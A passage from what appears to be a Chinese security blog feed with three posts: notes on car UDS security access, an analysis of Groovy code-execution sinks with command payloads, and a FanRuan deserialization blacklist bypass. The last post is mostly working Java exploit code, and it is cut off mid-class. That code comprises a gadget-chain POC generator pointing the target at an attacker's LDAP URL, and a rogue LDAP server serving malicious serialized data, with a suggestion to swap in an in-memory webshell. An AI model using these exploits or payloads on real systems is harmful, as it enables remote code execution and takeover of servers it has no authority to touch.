了解了uds安全访问诊断流程，先是1、客户端发送27 01请求种子，然后2、服务端返回67 01 [种子]， 3、客户端使用收到的种子以及一些事先约定的算法，生成一个对称密钥（会话密钥）使用27 02 + 密钥发送，4、服务端收到客户端发送的密钥后，使用预共享的密钥生成算法（通常是与客户端相同的算法），计算出相同的对称密钥，如果密钥是对的，响应67 02 + 密钥，ECU自动解锁，接下来就积极跟客户端通信，如果不对会返回否定响应<br><br>安全刷写测试： 上位机是本地校验，通过反编译调试绕过本地校验进行固件刷写<br><br>CAN FUZZ<br><br>等等<br></code></pre></div></td></tr></table></figure><h1 id="ECU刷写"><a href="#ECU刷写" class="headerlink" title="ECU刷写"></a>ECU刷写</h1><p>截至目前见过刷写原理（通过查看OTA升级日志）其实就是上位机通过发送2E来写入数据</p><h1 id="诊断服务参考："><a href="#诊断服务参考：" class="headerlink" title="诊断服务参考："></a>诊断服务参考：</h1><p>UDS的安全访问服务(0x27)与CAPL实现自动处理<br><a href="https://blog.csdn.net/u013391094/article/details/130911357">https://blog.csdn.net/u013391094/article/details/130911357</a></p><p>安全访问（ISO14229系列之27服务）<br><a href="https://blog.csdn.net/weixin_44536482/article/details/93340252">https://blog.csdn.net/weixin_44536482/article/details/93340252</a></p>]]></content>
    
    
    <categories>
      
      <category>车联网</category>
      
    </categories>
    
    
    <tags>
      
      <tag>车联网</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>某平台Groovy任意代码执行思考</title>
    <link href="/2023/11/14/109/"/>
    <url>/2023/11/14/109/</url>
    
    <content type="html"><![CDATA[<h1 id="原理小分析"><a href="#原理小分析" class="headerlink" title="原理小分析"></a><strong>原理小分析</strong></h1><p>exeGroovyScript方法传入了两个参数，其中scriptParameters是base64编码的json格式</p><p><img src="/images/109/z_0lw289Sidv_j5eGjNkO0qrsN8YGP8d6BPECWoiOQY.png" alt="image"></p><p>在exeGroovyScript方法中，又调用了exeGroovyScript方法</p><p><img src="/images/109/PZKmVIRuLGRGn_wMhBLjOiKnaWj7q9wQt-e-DXoK028.png" alt="image"></p><p>exeGroovyScript方法里会将传入的参数做解析</p><p><img src="/images/109/rktP6iIM3KmTyU4QC9slleUrQLkQoTBsAv4KDRyPbmY.png" alt="image"></p><p>parse方法：</p><p><img src="/images/109/vgtAOb_C_kREzY69nrJBqJzf0T_pUDy8MWA4PM1P4FI.png" alt="image"></p><p>具体解析操作发生在CompilationUnit类，由于太难懂了就不继续往下看CompilationUnit类了。大概意思就是CompilationUnit类会根据传入的对象解析生成AST（抽象语法树，对象的各个属性用节点来表示），然后根据AST生成对应的字节码。回到exeGroovyScript方法</p><p><img src="/images/109/Khw_J8NTh3dK7hCq6_Zd0eLzFlJWxq4tIdoDe_GEwU.png" alt="image"></p><p>此时的shell就是生成的字节码文件<code>Script[int].class</code>，它是Script的子类，生成的文件会重写run方法</p><p><img src="/images/109/mL23WdCgG-1Hjplsgxw09z77sDA_D81MIJtVnVO_acA.png" alt="image"></p><p>根据代码流程，<code>Script[int].class</code>的入口方法即run方法，生成的class大概如下</p><p>.groovy脚本</p><p><img src="/images/109/Kf36lb4aJ6uYJCxavzHdPANULWZozkcJWGsicEPXnZU.png" alt="image"></p><p>编译的class</p><p><img src="/images/109/mOLSj4e_vUjidrEyt1kxWW-zS8st4xfgZBl-H1NGUYQ.png" alt="image"></p><p>言归正传，最后<code>InvokerHelper.createScript</code>会创建<code>Script[int].class</code>的实例，具体看到createScript方法</p><p><img src="/images/109/aPoLlSnssmu97O9zDAcpPL5fjpvHnwrUejeHOSj1qSE.png" alt="image"></p><p>最终newScript会根据Binding提供的上下文信息，获取一个有参构造函数创建实例</p><p><img src="/images/109/Nh83EiNNDjtq2NoHLYwn29PyW5S_zQ1sTuqjLF_cAgs.png" alt="image"></p><p>纵观源码，发现其最后就是反射动态调用</p><p> </p><h1 id="利用手法"><a href="#利用手法" class="headerlink" title="利用手法"></a><strong>利用手法</strong></h1><p>根据整理，Groovy的命令执行大概有3种利用</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-number">1</span>、可双可单参数写法<br>groovy.lang.GroovyShell parse 先解析语句<br>org.codehaus.groovy.runtime.InvokerHelper createScript 再运行<br> <br><span class="hljs-number">2</span>、单参数写法<br>groovy.lang.GroovyShell evaluate 直接执行<br> <br><span class="hljs-number">3</span>、单参数写法<span class="hljs-number">2</span><br>groovy.lang.GroovyShell parse 先解析<br>groovy.lang.<span class="hljs-function">Script <span class="hljs-title">run</span><span class="hljs-params">()</span> 再运行</span><br></code></pre></div></td></tr></table></figure><p>首先说下参数语法</p><p><img src="/images/109/R7JeqHwBN6CbCwj9rHhOZm9SaOCHRXl6eJX5jOuRRSk.png" alt="image"></p><p>execute()用到的是<code>Runtime.getRuntime().exec()</code>，</p><p><img src="/images/109/5T1KVvoIlA_tjup3R8Zut2Dfb5QMfCgqMfGFd_9YB5M.png" alt="image"></p><p>text是从Process对象的输入流中读取文本数据并返回</p><p><img src="/images/109/GPyQMrV3BF61WM-hZZ3aXgr1mN8E4WTLtYbPDj3-R3g.png" alt="image"></p><h2 id="第一种用法"><a href="#第一种用法" class="headerlink" title="第一种用法"></a><strong>第一种用法</strong></h2><p>也是前面案例的用法，Payload不变，向Binding传递一个Map对象</p><p><img src="/images/109/VwiHCdrFloQHKE6ARBZnwRZjzJDqd5-TfQ5Z2ahymhs.png" alt="image"></p><p>可以看到如果payload是<code>&quot;whoami&quot;.execute().text</code>，那么hashMap可为空，执行不受影响，双引号内的字符串将以参数的形式传递到execute()进行执行</p><p> </p><p>另外因为传递的是hashMap对象，所以这个payload也可以使用占位符的方式进行利用</p><p><img src="/images/109/nl7kYwreYwmWBIMa1ReXTmzGjZmCbIPTjRsX-RGvRm8.png" alt="image"></p><p>原因是在代码<code>Constructor constructor = scriptClass.getConstructor(Binding.class);</code>中，<code>Binding.class</code>指定了<code>Constructor</code>的参数类型，即Binding类型。</p><p>在<code>constructor.newInstance(context)</code>中，会使用context对象作为参数创建实例。如果没有找到相应的构造方法，就会执行<code>script = (Script)scriptClass.newInstance();</code>，然后再通过<code>script.setBinding(context)</code>设置context,也就是说，map里的value会被当做scriptClass的参数执行</p><p><img src="/images/109/JDzwF8Xj7UUGGZEukrjvjL7zeiQpel4gRAfzqd5l_E.png" alt="image"></p><p>从编译的class中可以看到，是有Binding类型的有参构造函数的</p><p><img src="/images/109/7s5hPZqJH5VX9u3qHgmCgwpSsnGZi2Ohkq3dkO_RCu0.png" alt="image"></p><p>URL中可以这样表示：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">A=x.execute().text&amp;B=&#123;“x”:”whoami”&#125;<br></code></pre></div></td></tr></table></figure><h2 id="第二种用法"><a href="#第二种用法" class="headerlink" title="第二种用法"></a><strong>第二种用法</strong></h2><p><img src="/images/109/hfuisCjW9LlaS6jMG9yzYTAUnLzwgPD4D83yXogwrPU.png" alt="image"></p><h2 id="第三种用法"><a href="#第三种用法" class="headerlink" title="第三种用法"></a><strong>第三种用法</strong></h2><p><img src="/images/109/928WR4Ao6k9W1BKMHMAvbSOybmQbdPLaTanK3Djk4l0.png" alt="image"></p><h1 id="结尾"><a href="#结尾" class="headerlink" title="结尾"></a><strong>结尾</strong></h1><p>所以在审计时可以关注三种用法场景，三种用法都可以执行java代码或者groovy语法</p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>帆软反序列化黑名单绕过tips</title>
    <link href="/2023/09/18/103/"/>
    <url>/2023/09/18/103/</url>
    
    <content type="html"><![CDATA[<p><strong>使用LdapAttribute绕过帆软黑名单</strong></p><p>最新的11版本已经有关于LdapAttribute的黑名单了，本文给出的是根据黑名单构造的以前版本绕过</p><p>这里使用cc4的TreeBag替换BadAttributeValueExpException构造LdapAttribute利用链，参考：<br>二次反序列化POC构造 - <a href="https://mp.weixin.qq.com/s/UhlFXtRW4Ko38U8jP0Z99Q">https://mp.weixin.qq.com/s/UhlFXtRW4Ko38U8jP0Z99Q</a></p><h2 id="POC生成类："><a href="#POC生成类：" class="headerlink" title="POC生成类："></a>POC生成类：</h2><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">package</span> main;<br><br><span class="hljs-keyword">import</span> com.fr.third.fasterxml.jackson.databind.node.POJONode;<br><span class="hljs-keyword">import</span> com.fr.third.org.apache.commons.collections4.bag.TreeBag;<br><span class="hljs-keyword">import</span> javassist.ClassPool;<br><span class="hljs-keyword">import</span> javassist.CtClass;<br><span class="hljs-keyword">import</span> javassist.CtMethod;<br><span class="hljs-keyword">import</span> util.LdapServer;<br><span class="hljs-keyword">import</span> javax.naming.CompositeName;<br><span class="hljs-keyword">import</span> javax.naming.directory.BasicAttribute;<br><span class="hljs-keyword">import</span> java.io.ByteArrayOutputStream;<br><span class="hljs-keyword">import</span> java.io.FileOutputStream;<br><span class="hljs-keyword">import</span> java.io.ObjectOutputStream;<br><span class="hljs-keyword">import</span> java.lang.reflect.Constructor;<br><span class="hljs-keyword">import</span> java.lang.reflect.Field;<br><span class="hljs-keyword">import</span> java.util.Base64;<br><span class="hljs-keyword">import</span> java.util.zip.GZIPOutputStream;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Author</span>:novy</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Date</span>:12:06 2023/9/18</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Version</span> 1.0</span><br><span class="hljs-comment"> **/</span><br><br><span class="hljs-meta">@SuppressWarnings(&quot;all&quot;)</span><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LdapAttrbuteAttck</span> </span>&#123;<br><br> <span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">modifyTreeMapKey</span><span class="hljs-params">(Object node, String targetKey, Object newKey)</span></span><br><span class="hljs-function">            <span class="hljs-keyword">throws</span> NoSuchFieldException, IllegalAccessException </span>&#123;<br>        <span class="hljs-keyword">if</span> (node == <span class="hljs-keyword">null</span>) &#123;<br>            <span class="hljs-keyword">return</span>;<br>        &#125;<br><br>        <span class="hljs-comment">// 获取节点的左子节点、右子节点和键</span><br>        Field leftField = node.getClass().getDeclaredField(<span class="hljs-string">&quot;left&quot;</span>);<br>        Field rightField = node.getClass().getDeclaredField(<span class="hljs-string">&quot;right&quot;</span>);<br>        Field keyField = node.getClass().getDeclaredField(<span class="hljs-string">&quot;key&quot;</span>);<br><br>        leftField.setAccessible(<span class="hljs-keyword">true</span>);<br>        rightField.setAccessible(<span class="hljs-keyword">true</span>);<br>        keyField.setAccessible(<span class="hljs-keyword">true</span>);<br><br>        Object leftNode = leftField.get(node);<br>        Object rightNode = rightField.get(node);<br>        String key = (String) keyField.get(node);<br><br>        <span class="hljs-comment">// 如果找到目标键，将其修改为新键</span><br>        <span class="hljs-keyword">if</span> (targetKey.equals(key)) &#123;<br>            keyField.set(node, newKey);<br>        &#125;<br><br>        <span class="hljs-comment">// 递归遍历左子树和右子树</span><br>        modifyTreeMapKey(leftNode, targetKey, newKey);<br>        modifyTreeMapKey(rightNode, targetKey, newKey);<br>    &#125;<br><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">setFieldValue</span><span class="hljs-params">(Object obj,String fieldName,Object value)</span><span class="hljs-keyword">throws</span> Exception</span>&#123;<br>        Field field = obj.getClass().getDeclaredField(fieldName);<br>        field.setAccessible(<span class="hljs-keyword">true</span>);<br>        field.set(obj,value);<br>    &#125;<br><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>    <span class="hljs-comment">//先到LdapServer启动ldap服务，更改getGadgetObj方法的ip后，再执行该方法生成poc</span><br>            CtClass ctClass = ClassPool.getDefault().get(<span class="hljs-string">&quot;com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode&quot;</span>);<br>            CtMethod writeReplace = ctClass.getDeclaredMethod(<span class="hljs-string">&quot;writeReplace&quot;</span>);<br>            ctClass.removeMethod(writeReplace);<br>            ctClass.toClass();<br><br>            POJONode node = <span class="hljs-keyword">new</span> POJONode(getGadgetObj());<br>            ClassComparator classComparator = <span class="hljs-keyword">new</span> ClassComparator(<span class="hljs-string">&quot;org.freehep.util.VersionComparator&quot;</span>);<br>            TreeBag treeBag = <span class="hljs-keyword">new</span> TreeBag(classComparator);<br>            treeBag.add(<span class="hljs-string">&quot;1&quot;</span>);<br>            Class clazz = treeBag.getClass();<br>            Class abstractBagClass = clazz.getSuperclass();<br>            Field mapField = abstractBagClass.getDeclaredField(<span class="hljs-string">&quot;map&quot;</span>);<br>            mapField.setAccessible(<span class="hljs-keyword">true</span>);<br>            TreeMap&lt;Object,Integer&gt; treeMap = (TreeMap&lt;Object, Integer&gt;) mapField.get(treeBag);<br>            <span class="hljs-comment">// 使用反射获取 TreeMap 的根节点</span><br>            Field rootField = TreeMap.class.getDeclaredField(<span class="hljs-string">&quot;root&quot;</span>);<br>            rootField.setAccessible(<span class="hljs-keyword">true</span>);<br>            Object root = rootField.get(treeMap);<br>            modifyTreeMapKey(root,<span class="hljs-string">&quot;1&quot;</span>,node);<br>            <br>            FileOutputStream fileOutputStream = <span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">&quot;frldap.ser&quot;</span>);<br>            GZIPOutputStream gzipOutputStream = <span class="hljs-keyword">new</span> GZIPOutputStream(fileOutputStream);<br>            ObjectOutputStream oos = <span class="hljs-keyword">new</span> ObjectOutputStream(fileOutputStream);<br>            oos.writeObject(treeBag);<br>            oos.close();<br>            System.out.println(<span class="hljs-string">&quot;Generated:frldap.ser&quot;</span>);<br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> BasicAttribute <span class="hljs-title">getGadgetObj</span><span class="hljs-params">()</span></span>&#123;<br>        <span class="hljs-keyword">try</span>&#123;<br>            Class clazz = Class.forName(<span class="hljs-string">&quot;com.sun.jndi.ldap.LdapAttribute&quot;</span>);<br>            Constructor clazz_cons = clazz.getDeclaredConstructor(<span class="hljs-keyword">new</span> Class[]&#123;String.class&#125;);<br>            clazz_cons.setAccessible(<span class="hljs-keyword">true</span>);<br>            BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(<span class="hljs-keyword">new</span> Object[]&#123;<span class="hljs-string">&quot;T&quot;</span>&#125;);<br>            Field bcu_fi = clazz.getDeclaredField(<span class="hljs-string">&quot;baseCtxURL&quot;</span>);<br>            bcu_fi.setAccessible(<span class="hljs-keyword">true</span>);<br>            <span class="hljs-comment">//改成启动ldap服务的ip</span><br>            bcu_fi.set(la, <span class="hljs-string">&quot;ldap://127.0.0.1:1389/&quot;</span>);<br>            CompositeName cn = <span class="hljs-keyword">new</span> CompositeName();<br>            cn.add(<span class="hljs-string">&quot;a&quot;</span>);<br>            cn.add(<span class="hljs-string">&quot;b&quot;</span>);<br>            Field rdn_fi = clazz.getDeclaredField(<span class="hljs-string">&quot;rdn&quot;</span>);<br>            rdn_fi.setAccessible(<span class="hljs-keyword">true</span>);<br>            rdn_fi.set(la, cn);<br>            <span class="hljs-keyword">return</span> la;<br>        &#125;<span class="hljs-keyword">catch</span> (Exception e)&#123;<br>            e.printStackTrace();<br>        &#125;<br>        <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;<br>    &#125;<br>&#125;<br><br><br></code></pre></div></td></tr></table></figure><h2 id="LDAP服务："><a href="#LDAP服务：" class="headerlink" title="LDAP服务："></a>LDAP服务：</h2><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">package</span> util;<br><br><span class="hljs-keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServer;<br><span class="hljs-keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;<br><span class="hljs-keyword">import</span> com.unboundid.ldap.listener.InMemoryListenerConfig;<br><span class="hljs-keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;<br><span class="hljs-keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;<br><span class="hljs-keyword">import</span> com.unboundid.ldap.sdk.Entry;<br><span class="hljs-keyword">import</span> com.unboundid.ldap.sdk.LDAPResult;<br><span class="hljs-keyword">import</span> com.unboundid.ldap.sdk.ResultCode;<br><br><span class="hljs-keyword">import</span> javax.net.ServerSocketFactory;<br><span class="hljs-keyword">import</span> javax.net.SocketFactory;<br><span class="hljs-keyword">import</span> javax.net.ssl.SSLSocketFactory;<br><span class="hljs-keyword">import</span> java.net.InetAddress;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Author</span>:novy</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Date</span>:12:05 2023/9/18</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Version</span> 1.0</span><br><span class="hljs-comment"> **/</span><br><br><span class="hljs-meta">@SuppressWarnings(&quot;all&quot;)</span><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LdapServer</span> </span>&#123;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> String LDAP_BASE = <span class="hljs-string">&quot;dc=example,dc=com&quot;</span>;<br><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> </span>&#123;<br>        <span class="hljs-keyword">int</span> port = <span class="hljs-number">1389</span>;<br>        <span class="hljs-keyword">try</span> &#123;<br>            InMemoryDirectoryServerConfig config = <span class="hljs-keyword">new</span> InMemoryDirectoryServerConfig(LDAP_BASE);<br>            config.setListenerConfigs(<span class="hljs-keyword">new</span> InMemoryListenerConfig(<br>                    <span class="hljs-string">&quot;listen&quot;</span>,<br>                    InetAddress.getByName(<span class="hljs-string">&quot;0.0.0.0&quot;</span>),<br>                    port,<br>                    ServerSocketFactory.getDefault(),<br>                    SocketFactory.getDefault(),<br>                    (SSLSocketFactory) SSLSocketFactory.getDefault()));<br><br>            config.addInMemoryOperationInterceptor(<span class="hljs-keyword">new</span> OperationInterceptor());<br>            InMemoryDirectoryServer ds = <span class="hljs-keyword">new</span> InMemoryDirectoryServer(config);<br>            System.out.println(<span class="hljs-string">&quot;Ldap Server Start&quot;</span>);<br>            System.out.println(<span class="hljs-string">&quot;Listening on 0.0.0.0:&quot;</span> + port);<br>            ds.startListening();<br>        &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>            e.printStackTrace();<br>        &#125;<br>    &#125;<br><br>    <span class="hljs-comment">//重写服务端连接上就发送响应数据</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">OperationInterceptor</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">InMemoryOperationInterceptor</span> </span>&#123;<br>        <span class="hljs-meta">@Override</span><br>        <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">processSearchResult</span><span class="hljs-params">(InMemoryInterceptedSearchResult result)</span> </span>&#123;<br>            String base = result.getRequest().getBaseDN();<br><br>            Entry entry = <span class="hljs-keyword">new</span> Entry(base);<br>            entry.addAttribute(<span class="hljs-string">&quot;javaClassName&quot;</span>, <span class="hljs-string">&quot;T&quot;</span>);<br>            <span class="hljs-keyword">try</span> &#123;<br>                <span class="hljs-comment">//根据需求自定义getData()方法，可以使用给出的getTemplatePayload，或者改成内存马</span><br>                entry.addAttribute(<span class="hljs-string">&quot;javaSerializedData&quot;</span>, JacksonTemplatePayload.getData());<br>                result.sendSearchEntry(entry);<br>                result.setResult(<span class="hljs-keyword">new</span> LDAPResult(<span class="hljs-number">0</span>, ResultCode.SUCCESS));<br>                System.out.println(<span class="hljs-string">&quot;Send SerializedData&quot;</span>);<br>                System.out.println(<span class="hljs-string">&quot;Sent &#x27;&quot;</span> + base.toString() + <span class="hljs-string">&quot;&#x27; to the LDAP service&quot;</span>);<br>                System.out.println(<span class="hljs-string">&quot;Detailed data: &quot;</span> + entry);<br>            &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>                e.printStackTrace();<br>            &#125;<br>        &#125;<br>    &#125;<br>&#125;<br><br></code></pre></div></td></tr></table></figure><h2 id="服务端恶意数据操作类："><a href="#服务端恶意数据操作类：" class="headerlink" title="服务端恶意数据操作类："></a>服务端恶意数据操作类：</h2><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">package</span> util;<br><br><span class="hljs-keyword">import</span> com.fr.third.fasterxml.jackson.databind.node.POJONode;<br><span class="hljs-keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;<br><span class="hljs-keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;<br><span class="hljs-keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;<br><span class="hljs-keyword">import</span> javassist.*;<br><span class="hljs-keyword">import</span> main.SignedObjectAttck;<br><span class="hljs-keyword">import</span> java.io.*;<br><span class="hljs-keyword">import</span> com.fr.third.org.apache.commons.collections4.bag.TreeBag;<br><span class="hljs-keyword">import</span> java.lang.reflect.Field;<br><span class="hljs-keyword">import</span> java.util.Base64;<br><span class="hljs-keyword">import</span> java.util.zip.GZIPOutputStream;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Author</span>:novy</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Date</span>:12:08 2023/9/18</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Version</span> 1.0</span><br><span class="hljs-comment"> **/</span><br><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">JacksonTemplatePayload</span> </span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span 